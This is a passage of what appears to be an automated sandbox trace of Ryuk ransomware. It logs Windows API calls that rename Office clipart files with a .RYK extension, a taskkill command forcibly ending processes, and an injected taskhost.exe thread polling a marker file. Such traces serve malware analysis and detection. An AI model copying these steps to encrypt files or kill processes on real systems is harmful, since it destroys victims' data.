	[0284.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.569] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3815
	os_tid = 0x4014

	[0284.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF", dwFileAttributes=0x80) returned 0
	[0284.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.571] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3816
	os_tid = 0x4018

	[0284.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF", dwFileAttributes=0x80) returned 0
	[0284.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.573] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3817
	os_tid = 0x401c

	[0284.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF", dwFileAttributes=0x80) returned 0
	[0284.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.576] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3818
	os_tid = 0x4020

	[0284.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF", dwFileAttributes=0x80) returned 0
	[0284.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.807] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.807] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3819
	os_tid = 0x4024

	[0284.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF", dwFileAttributes=0x80) returned 0
	[0284.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.806] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3820
	os_tid = 0x4028

	[0284.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF", dwFileAttributes=0x80) returned 0
	[0284.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.805] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.805] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3821
	os_tid = 0x402c

	[0284.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF", dwFileAttributes=0x80) returned 0
	[0284.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.804] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.804] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3822
	os_tid = 0x4030

	[0284.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF", dwFileAttributes=0x80) returned 0
	[0284.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.803] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3823
	os_tid = 0x4034

	[0284.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF", dwFileAttributes=0x80) returned 0
	[0284.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.801] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.801] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3824
	os_tid = 0x4038

	[0284.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF", dwFileAttributes=0x80) returned 0
	[0284.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.800] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.800] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3825
	os_tid = 0x403c

	[0284.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF", dwFileAttributes=0x80) returned 0
	[0284.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.683] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3826
	os_tid = 0x4040

	[0284.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF", dwFileAttributes=0x80) returned 0
	[0284.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.685] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3827
	os_tid = 0x4044

	[0284.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF", dwFileAttributes=0x80) returned 0
	[0284.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.687] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3828
	os_tid = 0x4048

	[0284.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF", dwFileAttributes=0x80) returned 0
	[0284.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.689] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3829
	os_tid = 0x404c

	[0284.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF", dwFileAttributes=0x80) returned 0
	[0284.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.691] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3830
	os_tid = 0x4050

	[0284.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF", dwFileAttributes=0x80) returned 0
	[0284.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 

Thread:
	id = 3831
	os_tid = 0x4054

	[0284.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF", dwFileAttributes=0x80) returned 0
	[0284.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 

Thread:
	id = 3832
	os_tid = 0x4058

	[0284.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF", dwFileAttributes=0x80) returned 0
	[0284.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 

Thread:
	id = 3833
	os_tid = 0x405c

	[0284.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF", dwFileAttributes=0x80) returned 0
	[0284.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.697] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3834
	os_tid = 0x4060

	[0284.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF", dwFileAttributes=0x80) returned 0
	[0284.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.699] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3835
	os_tid = 0x4064

	[0284.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID", dwFileAttributes=0x80) returned 0
	[0284.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.701] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.ryk"), dwFlags=0x8) returned 0

Process:
	id = "5"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x33921000"
	os_pid = "0x874"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM wordpress.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 14
	os_tid = 0x884


Thread:
	id = 39
	os_tid = 0x9c4


Thread:
	id = 41
	os_tid = 0xa14


Thread:
	id = 45
	os_tid = 0xa54


Thread:
	id = 46
	os_tid = 0xa64


Process:
	id = "6"
	image_name = "taskhost.exe"
	filename = "c:\\windows\\system32\\taskhost.exe"
	page_root = "0x21fc5000"
	os_pid = "0x4a8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "injection"
	parent_id = "1"
	os_parent_pid = "0x1d8"
	cmd_line = "\"taskhost.exe\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 15
	os_tid = 0x764


Thread:
	id = 16
	os_tid = 0x90


Thread:
	id = 17
	os_tid = 0x66c


Thread:
	id = 18
	os_tid = 0x5a0


Thread:
	id = 19
	os_tid = 0x77c


Thread:
	id = 20
	os_tid = 0x7d4


Thread:
	id = 21
	os_tid = 0x7a0


Thread:
	id = 22
	os_tid = 0x774


Thread:
	id = 23
	os_tid = 0x75c


Thread:
	id = 24
	os_tid = 0x4c0


Thread:
	id = 25
	os_tid = 0x4b4


Thread:
	id = 26
	os_tid = 0x4ac


Thread:
	id = 28
	os_tid = 0x8d4

	[0105.174] GetVersionExW (in: lpVersionInformation=0x2e1fdc0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2e1fdc0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0105.182] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0105.189] SetLastError (dwErrCode=0x0) 
	[0105.189] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0105.190] GetLastError () returned 0x20
	[0105.340] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0105.341] Sleep (dwMilliseconds=0x1388) 
	[0111.947] Sleep (dwMilliseconds=0x61a8) 
	[0123.685] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0123.694] SetLastError (dwErrCode=0x0) 
	[0123.694] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.694] GetLastError () returned 0x20
	[0123.695] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.695] Sleep (dwMilliseconds=0x61a8) 
	[0134.331] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0134.331] SetLastError (dwErrCode=0x0) 
	[0134.331] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.331] GetLastError () returned 0x20
	[0134.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.332] Sleep (dwMilliseconds=0x61a8) 
	[0146.171] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0146.171] SetLastError (dwErrCode=0x0) 
	[0146.171] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0155.695] GetLastError () returned 0x20
	[0155.695] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0155.695] Sleep (dwMilliseconds=0x61a8) 
	[0165.942] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0165.942] SetLastError (dwErrCode=0x0) 
